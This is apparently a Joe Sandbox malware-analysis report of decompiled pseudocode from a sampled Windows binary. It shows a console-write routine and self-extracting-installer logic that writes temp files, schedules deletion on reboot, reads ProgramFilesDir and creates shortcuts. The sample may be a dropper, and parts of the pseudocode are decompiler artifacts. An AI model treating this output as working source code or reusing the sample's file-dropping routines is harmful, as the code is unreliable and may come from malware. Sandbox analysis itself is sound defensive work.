Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 06d1beb230af18d841209380122d73a5d06188785ff082bd46dab3104e5c1d8a
Instruction ID: 45307af44e09f0bf866fd6cc3fa49192c59da2d7bc5de347516162aa7ab2eae4
Opcode Fuzzy Hash: 06d1beb230af18d841209380122d73a5d06188785ff082bd46dab3104e5c1d8a
Instruction Fuzzy Hash: 1B4119B24083059FC314DF65C8809AFFBECFB88618F404A2EF69692640E735E548CB92

Uniqueness

Uniqueness Score: -1.00%

Function 013CC56D Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E013CC56D(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t116;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				intOrPtr _t129;
				signed int _t131;
				signed char* _t133;
				intOrPtr* _t135;
				signed int _t136;
				void* _t137;

				_t78 =  *0x13da1c8; // 0x21a16d55
				_v8 = _t78 ^ _t136;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t116 = (_t80 & 0x0000003f) * 0x30;
				_t133 = _a12;
				_v52 = _t133;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x13faf40 + _t118 * 4)) + _t116 + 0x18));
				_v40 = _a16 + _t133;
				_t86 = GetConsoleCP();
				_t135 = _a4;
				_v60 = _t86;
				 *_t135 = 0;
				 *((intOrPtr*)(_t135 + 4)) = 0;
				 *((intOrPtr*)(_t135 + 8)) = 0;
				while(_t133 < _v40) {
					_v28 = 0;
					_v31 =  *_t133;
					_t129 =  *((intOrPtr*)(0x13faf40 + _v48 * 4));
					_t123 =  *(_t129 + _t116 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						if(( *(E013C726E(_t116, _t129) + ( *_t133 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t133);
							goto L8;
						} else {
							if(_t133 >= _v40) {
								_t131 = _v48;
								 *((char*)( *((intOrPtr*)(0x13faf40 + _t131 * 4)) + _t116 + 0x2e)) =  *_t133;
								 *( *((intOrPtr*)(0x13faf40 + _t131 * 4)) + _t116 + 0x2d) =  *( *((intOrPtr*)(0x13faf40 + _t131 * 4)) + _t116 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
							} else {
								_t112 = E013C5F82( &_v28, _t133, 2);
								_t137 = _t137 + 0xc;
								if(_t112 != 0xffffffff) {
									_t133 =  &(_t133[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t116 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t116 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E013C5F82();
						_t137 = _t137 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t133 =  &(_t133[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t135 = GetLastError();
								} else {
									_t48 = _t135 + 8; // 0xff76e900
									 *((intOrPtr*)(_t135 + 4)) =  *_t48 - _v52 + _t133;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t135 + 8)) =  *((intOrPtr*)(_t135 + 8)) + 1;
													 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E013BD763(_v8 ^ _t136);
			}

0x013cc575
0x013cc57c
0x013cc57f
0x013cc587
0x013cc58b
0x013cc597
0x013cc59a
0x013cc59d
0x013cc5a4
0x013cc5ac
0x013cc5af
0x013cc5b5
0x013cc5bb
0x013cc5c0
0x013cc5c2
0x013cc5c5
0x013cc5ca
0x013cc5d4
0x013cc5db
0x013cc5de
0x013cc5e5
0x013cc5ec
0x013cc618
0x013cc63e
0x013cc640
0x00000000
0x013cc61a
0x013cc61d
0x013cc6e4
0x013cc6f0
0x013cc6fb
0x013cc700
0x013cc623
0x013cc62a
0x013cc62f
0x013cc635
0x013cc63b
0x00000000
0x013cc63b
0x013cc635
0x013cc61d
0x013cc5ee
0x013cc5f2
0x013cc5f5
0x013cc5fb
0x013cc5fd
0x013cc600
0x013cc604
0x013cc641
0x013cc644
0x013cc645
0x013cc64a
0x013cc650
0x013cc656
0x013cc665
0x013cc66b
0x013cc671
0x013cc676
0x013cc692
0x013cc705
0x013cc70b
0x013cc694
0x013cc694
0x013cc69c
0x013cc6a5
0x013cc6ab
0x00000000
0x013cc6ad
0x013cc6af
0x013cc6b2
0x013cc6cb
0x00000000
0x013cc6cd
0x013cc6d1
0x013cc6d3
0x013cc6d6
0x00000000
0x013cc6d6
0x013cc6d1
0x013cc6cb
0x013cc6ab
0x013cc6a5
0x013cc692
0x013cc676
0x013cc650
0x00000000
0x013cc6d9
0x013cc6d9
0x013cc70d
0x013cc71f

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,013CCCE2,00000000,00000000,00000000,00000000,00000000,013C2C3E), ref: 013CC5AF
__fassign.LIBCMT ref: 013CC62A
__fassign.LIBCMT ref: 013CC645
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 013CC66B
WriteFile.KERNEL32(?,00000000,00000000,013CCCE2,00000000,?,?,?,?,?,?,?,?,?,013CCCE2,00000000), ref: 013CC68A
WriteFile.KERNEL32(?,00000000,00000001,013CCCE2,00000000,?,?,?,?,?,?,?,?,?,013CCCE2,00000000), ref: 013CC6C3

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 170befa87a4bff8124faf442ce86baf9ef64a03f75b5687078fec50f41d89782
Instruction ID: 9456dbf3897628a1f71e90eea6c105abc142774e1b4647d59a6be520eb0eb3bb
Opcode Fuzzy Hash: 170befa87a4bff8124faf442ce86baf9ef64a03f75b5687078fec50f41d89782
Instruction Fuzzy Hash: 8851E470A002099FDB10CFA8D981AEEBBF8FF18714F14515EE959E7281E730E950CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013BB0D8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E013BB0D8(intOrPtr __ebx, void* __ecx) {
				intOrPtr _t209;
				void* _t210;
				intOrPtr _t263;
				WCHAR* _t277;
				void* _t279;
				WCHAR* _t280;
				void* _t285;

				L0:
				while(1) {
					L0:
					_t263 = __ebx;
					if(__ebx != 1) {
						goto L112;
					}
					L96:
					__eax = __ebp - 0x7c84;
					__edi = 0x800;
					GetTempPathW(0x800, __ebp - 0x7c84) = __ebp - 0x7c84;
					E013AAE45(__eflags, __ebp - 0x7c84, 0x800) = 0;
					__esi = 0;
					_push(0);
					while(1) {
						L98:
						_push( *0x13da14c);
						__ebp - 0x7c84 = E013A3F2B(0x13e3122, __edi, L"%s%s%u", __ebp - 0x7c84);
						__eax = E013A9E4F(0x13e3122);
						__eflags = __al;
						if(__al == 0) {
							break;
						}
						L97:
						__esi =  &(__esi->i);
						__eflags = __esi;
						_push(__esi);
					}
					L99:
					__eax = SetDlgItemTextW( *(__ebp + 8), 0x66, 0x13e3122);
					__eflags =  *(__ebp - 0x5c84);
					if( *(__ebp - 0x5c84) == 0) {
						while(1) {
							L164:
							_push(0x1000);
							_t197 = _t285 - 0xe; // 0xffffa36e
							_t198 = _t285 - 0xd; // 0xffffa36f
							_t199 = _t285 - 0x5c84; // 0xffff46f8
							_t200 = _t285 - 0xfc8c; // 0xfffea6f0
							_push( *((intOrPtr*)(_t285 + 0xc)));
							_t209 = E013B96EB();
							_t263 =  *((intOrPtr*)(_t285 + 0x10));
							 *((intOrPtr*)(_t285 + 0xc)) = _t209;
							if(_t209 != 0) {
								_t210 = _t285 - 0x5c84;
								_t279 = _t285 - 0x1bc8c;
								_t277 = 6;
								goto L2;
							} else {
								break;
							}
							L4:
							while(E013B0B00(_t285 - 0xfc8c,  *((intOrPtr*)(0x13da16c + _t280 * 4))) != 0) {
								_t280 =  &(_t280[0]);
								if(_t280 < 0xe) {
									continue;
								} else {
									goto L164;
								}
							}
							__eflags = _t280 - 0xd;
							if(__eflags > 0) {
								continue;
							}
							L8:
							switch( *((intOrPtr*)(_t280 * 4 +  &M013BB654))) {
								case 0:
									L9:
									__eflags = _t263 - 2;
									if(_t263 != 2) {
										goto L164;
									}
									L10:
									_t282 = 0x800;
									E013B8B8D(_t285 - 0x7c84, 0x800);
									E013AA16C(E013AB5BE(_t285 - 0x7c84, _t285 - 0x5c84, _t285 - 0xdc8c, 0x800), _t263, _t285 - 0x8c8c, 0x800);
									 *(_t285 - 4) = _t277;
									E013AA2A6(_t285 - 0x8c8c, _t285 - 0xdc8c);
									E013A6FA3(_t285 - 0x3c84);
									_push(_t277);
									_t271 = _t285 - 0x8c8c;
									_t224 = E013AA1F9(_t285 - 0x8c8c, _t276, _t285 - 0x3c84);
									__eflags = _t224;
									if(_t224 == 0) {
										L26:
										 *(_t285 - 4) =  *(_t285 - 4) | 0xffffffff;
										E013AA182(_t285 - 0x8c8c);
										goto L164;
									} else {
										goto L13;
										L14:
										E013AB150(_t271, __eflags, _t285 - 0x7c84, _t285 - 0x103c, _t282);
										E013AAE45(__eflags, _t285 - 0x103c, _t282);
										_t284 = E013C20A3(_t285 - 0x7c84);
										__eflags = _t284 - 4;
										if(_t284 < 4) {
											L16:
											_t252 = E013AB57E(_t285 - 0x5c84);
											__eflags = _t252;
											if(_t252 != 0) {
												goto L26;
											}
											L17:
											_t254 = E013C20A3(_t285 - 0x3c84);
											__eflags = 0;
											 *((short*)(_t285 + _t254 * 2 - 0x3c82)) = 0;
											E013BDE40(_t277, _t285 - 0x3c, _t277, 0x1e);
											_t287 = _t287 + 0x10;
											 *((intOrPtr*)(_t285 - 0x38)) = 3;
											_push(0x14);
											_pop(_t257);
											 *((short*)(_t285 - 0x2c)) = _t257;
											 *((intOrPtr*)(_t285 - 0x34)) = _t285 - 0x3c84;
											_push(_t285 - 0x3c);
											 *0x13daa54();
											goto L18;
										}
										L15:
										_t262 = E013C20A3(_t285 - 0x103c);
										__eflags = _t284 - _t262;
										if(_t284 > _t262) {
											goto L17;
										}
										goto L16;
										L18:
										_t229 = GetFileAttributesW(_t285 - 0x3c84);
										__eflags = _t229 - 0xffffffff;
										if(_t229 == 0xffffffff) {
											L25:
											_push(_t277);
											_t271 = _t285 - 0x8c8c;
											_t231 = E013AA1F9(_t285 - 0x8c8c, _t276, _t285 - 0x3c84);
											__eflags = _t231;
											if(_t231 != 0) {
												_t282 = 0x800;
												L13:
												SetFileAttributesW(_t285 - 0x3c84, _t277);
												__eflags =  *((char*)(_t285 - 0x2c78));
												if(__eflags == 0) {
													goto L18;
												}
												goto L14;
											}
											goto L26;
										}
										L19:
										_t233 = DeleteFileW(_t285 - 0x3c84);
										__eflags = _t233;
										if(_t233 != 0) {
											goto L25;
										} else {
											_t283 = _t277;
											_push(_t277);
											goto L22;
											L22:
											E013A3F2B(_t285 - 0x103c, 0x800, L"%s.%d.tmp", _t285 - 0x3c84);
											_t287 = _t287 + 0x14;
											_t238 = GetFileAttributesW(_t285 - 0x103c);
											__eflags = _t238 - 0xffffffff;
											if(_t238 != 0xffffffff) {
												_t283 = _t283 + 1;
												__eflags = _t283;
												_push(_t283);
												goto L22;
											} else {
												_t241 = MoveFileW(_t285 - 0x3c84, _t285 - 0x103c);
												__eflags = _t241;
												if(_t241 != 0) {
													MoveFileExW(_t285 - 0x103c, _t277, 4);
												}
												goto L25;
											}
										}
									}
								case 1:
									L27:
									__eflags = __ebx;
									if(__ebx == 0) {
										__eax =  *0x13f792c;
										__eflags =  *0x13f792c;
										__ebx = __ebx & 0xffffff00 |  *0x13f792c == 0x00000000;
										__eflags = __bl;
										if(__bl == 0) {
											__eax =  *0x13f792c;
											_pop(__ecx);
											_pop(__ecx);
										}
										L30:
										__bh =  *((intOrPtr*)(__ebp - 0xd));
										__eflags = __bh;
										if(__eflags == 0) {
											__eax = __ebp + 0xc;
											_push(__ebp + 0xc);
											__esi = E013B9843(__ecx, __edx, __eflags);
											__eax =  *0x13f792c;
										} else {
											__esi = __ebp - 0x5c84;
										}
										__eflags = __bl;
										if(__bl == 0) {
											__edi = __eax;
										}
										L35:
										__eax = E013C20A3(__esi);
										__eax = __eax + __edi;
										_push(__eax);
										_push( *0x13f792c);
										__eax = E013C20CE(__ecx, __edx);
										__esp = __esp + 0xc;
										__eflags = __eax;
										if(__eax != 0) {
											 *0x13f792c = __eax;
											__eflags = __bl;
											if(__bl != 0) {
												__ecx = 0;
												__eflags = 0;
												 *__eax = __cx;
											}
											__eax = E013C4644(__eax, __esi);
											_pop(__ecx);
											_pop(__ecx);
										}
										__eflags = __bh;
										if(__bh == 0) {
											__eax = L013C20BE(__esi);
										}
									}
									goto L164;
								case 2:
									L41:
									__eflags = __ebx;
									if(__ebx == 0) {
										__ebp - 0x5c84 = SetWindowTextW( *(__ebp + 8), __ebp - 0x5c84);
									}
									goto L164;
								case 3:
									L43:
									__eflags = __ebx;
									if(__ebx != 0) {
										goto L164;
									}
									L44:
									__eflags =  *0x13e412a - __di;
									if( *0x13e412a != __di) {
										goto L164;
									}
									L45:
									__eax = 0;
									__edi = __ebp - 0x5c84;
									_push(0x22);
									 *(__ebp - 0x103c) = __ax;
									_pop(__eax);
									__eflags =  *(__ebp - 0x5c84) - __ax;
									if( *(__ebp - 0x5c84) == __ax) {
										__edi = __ebp - 0x5c82;
									}
									__eax = E013C20A3(__edi);
									__esi = 0x800;
									__eflags = __eax - 0x800;
									if(__eax >= 0x800) {
										goto L164;
									} else {
										L48:
										__eax =  *__edi & 0x0000ffff;
										_push(0x5c);
										_pop(__ecx);
										__eflags = ( *__edi & 0x0000ffff) - 0x2e;
										if(( *__edi & 0x0000ffff) != 0x2e) {
											L52:
											__eflags = __ax - __cx;
											if(__ax == __cx) {
												L64:
												__ebp - 0x103c = E013AF160(__ebp - 0x103c, __edi, __esi);
												__ebx = 0;
												__eflags = 0;
												L65:
												_push(0x22);
												_pop(__eax);
												__eax = __ebp - 0x103c;
												__eax = E013C02BB(__ebp - 0x103c, __ebp - 0x103c);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													__eflags =  *((intOrPtr*)(__eax + 2)) - __bx;
													if( *((intOrPtr*)(__eax + 2)) == __bx) {
														__ecx = 0;
														__eflags = 0;
														 *__eax = __cx;
													}
												}
												__eax = __ebp - 0x103c;
												__edi = 0x13e412a;
												E013AF160(0x13e412a, __ebp - 0x103c, __esi) = __ebp - 0x103c;
												__eax = E013B9591(__ebp - 0x103c, __esi);
												__esi = GetDlgItem( *(__ebp + 8), 0x66);
												__ebp - 0x103c = SetWindowTextW(__esi, __ebp - 0x103c); // executed
												__ebx =  *0x13daad0;
												__eax = SendMessageW(__esi, 0x143, __ebx, 0x13e412a); // executed
												__eax = __ebp - 0x103c;
												__eax = E013C20D9(__ebp - 0x103c, 0x13e412a, __eax);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													__ebp - 0x103c = 0;
													__eax = SendMessageW(__esi, 0x143, 0, __ebp - 0x103c);
												}
												goto L164;
											}
											L53:
											__eflags = __ax;
											if(__ax == 0) {
												L55:
												__eax = __ebp - 0x18;
												__ebx = 0;
												_push(__ebp - 0x18);
												_push(1);
												_push(0);
												_push(L"Software\\Microsoft\\Windows\\CurrentVersion");
												_push(0x80000002);
												__eax =  *0x13daa08();
												__eflags = __eax;
												if(__eax == 0) {
													__eax = __ebp - 0x14;
													 *(__ebp - 0x14) = 0x1000;
													_push(__ebp - 0x14);
													__eax = __ebp - 0x103c;
													_push(__ebp - 0x103c);
													__eax = __ebp - 0x1c;
													_push(__ebp - 0x1c);
													_push(0);
													_push(L"ProgramFilesDir");
													_push( *(__ebp - 0x18));
													__eax =  *0x13daa04();
													_push( *(__ebp - 0x18));
													 *0x13da9e4() =  *(__ebp - 0x14);
													__ecx = 0x7ff;
													__eax =  *(__ebp - 0x14) >> 1;
													__eflags = __eax - 0x7ff;
													if(__eax >= 0x7ff) {
														__eax = 0x7ff;
													}
													__ecx = 0;
													__eflags = 0;
													 *((short*)(__ebp + __eax * 2 - 0x103c)) = __cx;
												}
												__eflags =  *(__ebp - 0x103c) - __bx;
												if( *(__ebp - 0x103c) != __bx) {
													__eax = __ebp - 0x103c;
													__eax = E013C20A3(__ebp - 0x103c);
													_push(0x5c);
													_pop(__ecx);
													__eflags =  *((intOrPtr*)(__ebp + __eax * 2 - 0x103e)) - __cx;
													if(__eflags != 0) {
														__ebp - 0x103c = E013AF138(__eflags, __ebp - 0x103c, 0x13d058c, __esi);
													}
												}
												__esi = E013C20A3(__edi);
												__eax = __ebp - 0x103c;
												__eflags = __esi - 0x7ff;
												__esi = 0x800;
												if(__eflags < 0) {
													__ebp - 0x103c = E013AF138(__eflags, __ebp - 0x103c, __edi, 0x800);
												}
												goto L65;
											}
											L54:
											__eflags =  *((short*)(__edi + 2)) - 0x3a;
											if( *((short*)(__edi + 2)) == 0x3a) {
												goto L64;
											}
											goto L55;
										}
										L49:
										__eflags =  *((intOrPtr*)(__edi + 2)) - __cx;
										if( *((intOrPtr*)(__edi + 2)) != __cx) {
											goto L52;
										}
										L50:
										__edi = __edi + 4;
										__ebx = 0;
										__eflags =  *__edi - __bx;
										if( *__edi == __bx) {
											goto L164;
										}
										L51:
										__ebp - 0x103c = E013AF160(__ebp - 0x103c, __edi, 0x800);
										goto L65;
									}
								case 4:
									L70:
									__eflags =  *0x13e4124 - 1;
									__eflags = __eax - 0x13e4124;
									 *__edi =  *__edi + __ecx;
									__eflags =  *(__ebx + 6) & __bl;
									 *__eax =  *__eax + __al;
									__eflags =  *__eax;
								case 5:
									L75:
									__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
									__ecx = 0;
									__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
									__eflags = __eax;
									if(__eax == 0) {
										L82:
										 *0x13e20fa = __cl;
										 *0x13e20fb = 1;
										goto L164;
									}
									L76:
									__eax = __eax - 0x30;
									__eflags = __eax;
									if(__eax == 0) {
										L80:
										 *0x13e20fa = __cl;
										L81:
										 *0x13e20fb = __cl;
										goto L164;
									}
									L77:
									__eax = __eax - 1;
									__eflags = __eax;
									if(__eax == 0) {
										goto L82;
									}
									L78:
									__eax = __eax - 1;
									__eflags = __eax;
									if(__eax != 0) {
										goto L164;
									}
									L79:
									 *0x13e20fa = 1;
									goto L81;
								case 6:
									L88:
									__eflags = __ebx - 4;
									if(__ebx != 4) {
										goto L92;
									}
									L89:
									__eax = __ebp - 0x5c84;
									__eax = E013C20D9(__ebp - 0x5c84, __eax, L"<>");
									_pop(__ecx);
									_pop(__ecx);
									__eflags = __eax;
									if(__eax == 0) {
										goto L92;
									}
									L90:
									_push(__edi);
									goto L91;
								case 7:
									goto L0;
								case 8:
									L116:
									__eflags = __ebx - 3;
									if(__ebx == 3) {
										__eflags =  *(__ebp - 0x5c84) - __di;
										if(__eflags != 0) {
											__eax = __ebp - 0x5c84;
											 *0x13f893c = E013C58F7(__ebx, __ebp - 0x5c84);
										}
										__eax = __ebp + 0xc;
										_push(__ebp + 0xc);
										 *0x13f8938 = E013B9843(__ecx, __edx, __eflags);
									}
									 *0x13f0823 = 1;
									goto L164;
								case 9:
									L121:
									__eflags = __ebx - 5;
									if(__ebx != 5) {
										L92:
										 *0x13f8940 = 1;
										goto L164;
									}
									L122:
									_push(1);
									L91:
									__eax = __ebp - 0x5c84;
									_push(__ebp - 0x5c84);
									_push( *(__ebp + 8));
									__eax = E013BB9A9();
									goto L92;
								case 0xa:
									L123:
									__eflags = __ebx - 6;
									if(__ebx != 6) {
										goto L164;
									}
									L124:
									__eax = 0;
									 *(__ebp - 0x2c3c) = __ax;
									__eax =  *(__ebp - 0x1bc8c) & 0x0000ffff;
									__eax = E013C3A84( *(__ebp - 0x1bc8c) & 0x0000ffff);
									_push(0x800);
									__eflags = __eax - 0x50;
									if(__eax == 0x50) {
										_push(0x13f582a);
										__eax = __ebp - 0x2c3c;
										_push(__ebp - 0x2c3c);
										__eax = E013AF160();
										 *(__ebp - 0x14) = 2;
									} else {
										__eflags = __eax - 0x54;
										__eax = __ebp - 0x2c3c;
										if(__eflags == 0) {
											_push(0x13f482a);
											_push(__eax);
											__eax = E013AF160();
											 *(__ebp - 0x14) = 7;
										} else {
											_push(0x13f682a);
											_push(__eax);
											__eax = E013AF160();
											 *(__ebp - 0x14) = 0x10;
										}
									}
									__eax = 0;
									 *(__ebp - 0x9c8c) = __ax;
									 *(__ebp - 0x1c3c) = __ax;
									__ebp - 0x19c8c = __ebp - 0x6c84;
									__eax = E013C3557(__ebp - 0x6c84, __ebp - 0x19c8c);
									_pop(__ecx);
									_pop(__ecx);
									_push(0x22);
									_pop(__ebx);
									__eflags =  *(__ebp - 0x6c84) - __bx;
									if( *(__ebp - 0x6c84) != __bx) {
										L132:
										__ebp - 0x6c84 = E013A9E4F(__ebp - 0x6c84);
										__eflags = __al;
										if(__al != 0) {
											goto L149;
										}
										L133:
										__ebx = __edi;
										__esi = __ebp - 0x6c84;
										__eflags =  *(__ebp - 0x6c84) - __bx;
										if( *(__ebp - 0x6c84) == __bx) {
											goto L149;
										}
										L134:
										_push(0x20);
										_pop(__ecx);
										do {
											L135:
											__eax = __esi->i & 0x0000ffff;
											__eflags = __ax - __cx;
											if(__ax == __cx) {
												L137:
												__edi = __eax;
												__eax = 0;
												__esi->i = __ax;
												__ebp - 0x6c84 = E013A9E4F(__ebp - 0x6c84);
												__eflags = __al;
												if(__al == 0) {
													L144:
													__esi->i = __di;
													L145:
													_push(0x20);
													_pop(__ecx);
													__edi = 0;
													__eflags = 0;
													goto L146;
												}
												L138:
												_push(0x2f);
												_pop(__eax);
												__ebx = __esi;
												__eflags = __di - __ax;
												if(__di != __ax) {
													L140:
													_push(0x20);
													_pop(__eax);
													do {
														L141:
														__esi =  &(__esi->i);
														__eflags = __esi->i - __ax;
													} while (__esi->i == __ax);
													_push(__esi);
													__eax = __ebp - 0x1c3c;
													L143:
													_push(__eax);
													__eax = E013C3557();
													_pop(__ecx);
													_pop(__ecx);
													 *__ebx = __di;
													goto L145;
												}
												L139:
												 *(__ebp - 0x1c3c) = __ax;
												__eax =  &(__esi->i);
												_push( &(__esi->i));
												__eax = __ebp - 0x1c3a;
												goto L143;
											}
											L136:
											_push(0x2f);
											_pop(__edx);
											__eflags = __ax - __dx;
											if(__ax != __dx) {
												goto L146;
											}
											goto L137;
											L146:
											__esi =  &(__esi->i);
											__eflags = __esi->i - __di;
										} while (__esi->i != __di);
										__eflags = __ebx;
										if(__ebx != 0) {
											__eax = 0;
											__eflags = 0;
											 *__ebx = __ax;
										}
										goto L149;
									} else {
										L130:
										__ebp - 0x19c8a = __ebp - 0x6c84;
										E013C3557(__ebp - 0x6c84, __ebp - 0x19c8a) = __ebp - 0x6c82;
										_push(__ebx);
										_push(__ebp - 0x6c82);
										__eax = E013C00DA(__ecx);
										__esp = __esp + 0x10;
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = 0;
											 *__eax = __cx;
											__ebp - 0x1c3c = E013C3557(__ebp - 0x1c3c, __ebp - 0x1c3c);
											_pop(__ecx);
											_pop(__ecx);
										}
										L149:
										__eflags =  *(__ebp - 0x11c8c);
										__ebx = 0x800;
										if( *(__ebp - 0x11c8c) != 0) {
											_push(0x800);
											__eax = __ebp - 0x9c8c;
											_push(__ebp - 0x9c8c);
											__eax = __ebp - 0x11c8c;
											_push(__ebp - 0x11c8c);
											__eax = E013AAE70();
										}
										_push(__ebx);
										__eax = __ebp - 0xbc8c;
										_push(__ebp - 0xbc8c);
										__eax = __ebp - 0x6c84;
										_push(__ebp - 0x6c84);
										__eax = E013AAE70();
										__eflags =  *(__ebp - 0x2c3c);
										if(__eflags == 0) {
											__ebp - 0x2c3c = E013B97E3(__ecx, __ebp - 0x2c3c,  *(__ebp - 0x14));
										}
										__ebp - 0x2c3c = E013AAE45(__eflags, __ebp - 0x2c3c, __ebx);
										__eflags =  *((short*)(__ebp - 0x17c8c));
										if(__eflags != 0) {
											__ebp - 0x17c8c = __ebp - 0x2c3c;
											E013AF138(__eflags, __ebp - 0x2c3c, __ebp - 0x17c8c, __ebx) = __ebp - 0x2c3c;
											__eax = E013AAE45(__eflags, __ebp - 0x2c3c, __ebx);
										}
										__ebp - 0x2c3c = __ebp - 0xcc8c;
										__eax = E013C3557(__ebp - 0xcc8c, __ebp - 0x2c3c);
										__eflags =  *(__ebp - 0x13c8c);
										__eax = __ebp - 0x13c8c;
										_pop(__ecx);
										_pop(__ecx);
										if(__eflags == 0) {
											__eax = __ebp - 0x19c8c;
										}
										__ebp - 0x2c3c = E013AF138(__eflags, __ebp - 0x2c3c, __ebp - 0x2c3c, __ebx);
										__eax = __ebp - 0x2c3c;
										__eflags = E013AB0EC(__ebp - 0x2c3c);
										if(__eflags == 0) {
											L159:
											__ebp - 0x2c3c = E013AF138(__eflags, __ebp - 0x2c3c, L".lnk", __ebx);
											goto L160;
										} else {
											L158:
											__eflags = __eax;
											if(__eflags == 0) {
												L160:
												_push(1);
												__eax = __ebp - 0x2c3c;
												_push(__ebp - 0x2c3c);
												E013A9D1E(__ecx, __ebp) = __ebp - 0xbc8c;
												__ebp - 0xac8c = E013C3557(__ebp - 0xac8c, __ebp - 0xbc8c);
												_pop(__ecx);
												_pop(__ecx);
												__ebp - 0xac8c = E013AB926(__eflags, __ebp - 0xac8c);
												__ecx =  *(__ebp - 0x1c3c) & 0x0000ffff;
												__eax = __ebp - 0x1c3c;
												__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff);
												__edx = __ebp - 0x9c8c;
												__esi = __ebp - 0xac8c;
												asm("sbb ecx, ecx");
												__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c;
												 *(__ebp - 0x9c8c) & 0x0000ffff =  ~( *(__ebp - 0x9c8c) & 0x0000ffff);
												asm("sbb eax, eax");
												__eax =  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c;
												 *(__ebp - 0xac8c) & 0x0000ffff =  ~( *(__ebp - 0xac8c) & 0x0000ffff);
												__eax = __ebp - 0x15c8c;
												asm("sbb edx, edx");
												__edx =  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi;
												E013B92D6(__ebp - 0x15c8c) = __ebp - 0x2c3c;
												__ebp - 0xbc8c = E013B89E5(__ecx, __edi, __ebp - 0xbc8c, __ebp - 0x2c3c,  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi, __ebp - 0xbc8c,  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c,  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c);
												__eflags =  *(__ebp - 0xcc8c);
												if( *(__ebp - 0xcc8c) != 0) {
													_push(__edi);
													__eax = __ebp - 0xcc8c;
													_push(__ebp - 0xcc8c);
													_push(5);
													_push(0x1000);
													__eax =  *0x13daa58();
												}
												goto L164;
											}
											goto L159;
										}
									}
								case 0xb:
									L162:
									__eflags = __ebx - 7;
									if(__ebx == 7) {
										 *0x13e4128 = 1;
									}
									goto L164;
